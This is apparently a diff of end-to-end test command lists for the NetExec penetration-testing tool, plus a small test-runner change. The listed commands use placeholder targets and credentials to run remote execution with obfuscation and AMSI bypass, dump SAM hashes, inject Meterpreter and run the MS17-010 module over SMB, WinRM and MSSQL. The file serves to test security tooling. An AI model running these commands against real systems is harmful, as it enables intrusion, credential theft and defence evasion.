netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --no-encode
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --no-encode
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --amsi-bypass tests/data/test_amsi_bypass.txt --no-encode
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass tests/data/test_amsi_bypass.txt --no-encode
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --exec-method atexec
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --exec-method smbexec
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --exec-method mmcexec
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --clear-obfscripts # current we don't really use?
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi "select Name from win32_computersystem"
netexec --jitter 2 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec --jitter 1-3 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
@@ -80,7 +97,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M masky --
# You must replace this with the proper CA information!
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M masky -o CA="host.domain.tld\domain-host-CA"
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4444 RAND=12345
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4443 RAND=12345
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ms17-010 --options
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ms17-010
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M msol --options
@@ -205,7 +222,7 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pso
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pso --options
##### WINRM
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X whoami
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam --dump-method cmd
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam --dump-method powershell
@@ -222,11 +239,27 @@ netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-p
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-proto https --port 5986
##### MSSQL
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # Need a space at the end for kerb regex
netexec {DNS} mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec {DNS} mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # Need a space at the end for kerb regex
##### MSSQL PowerShell
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --amsi-bypass tests/data/test_amsi_bypass.txt
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass tests/data/test_amsi_bypass.txt
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --amsi-bypass tests/data/test_amsi_bypass.txt
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --amsi-bypass tests/data/test_amsi_bypass.txt
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --no-encode
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --no-encode
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --no-encode
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --no-encode
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --amsi-bypass tests/data/test_amsi_bypass.txt --no-encode
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass tests/data/test_amsi_bypass.txt --no-encode
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --clear-obfscripts # current we don't really use?
##### MSSQL Modules
# netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD -M empire_exec
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4444 RAND=12345
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4443 RAND=12345
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject --options
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_priv
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_priv --options
1 change: 1 addition & 0 deletions tests/e2e_tests.py
Original file line number Diff line number Diff line change
@@ -220,6 +220,7 @@ def run_e2e_tests(args):
# this prints sorta janky, but it does its job
console.log(f"[*] Results:\n{text.decode('utf-8')}")


if args.print_failures and failures:
console.log("[bold red]Failed Commands:")
for failure in failures: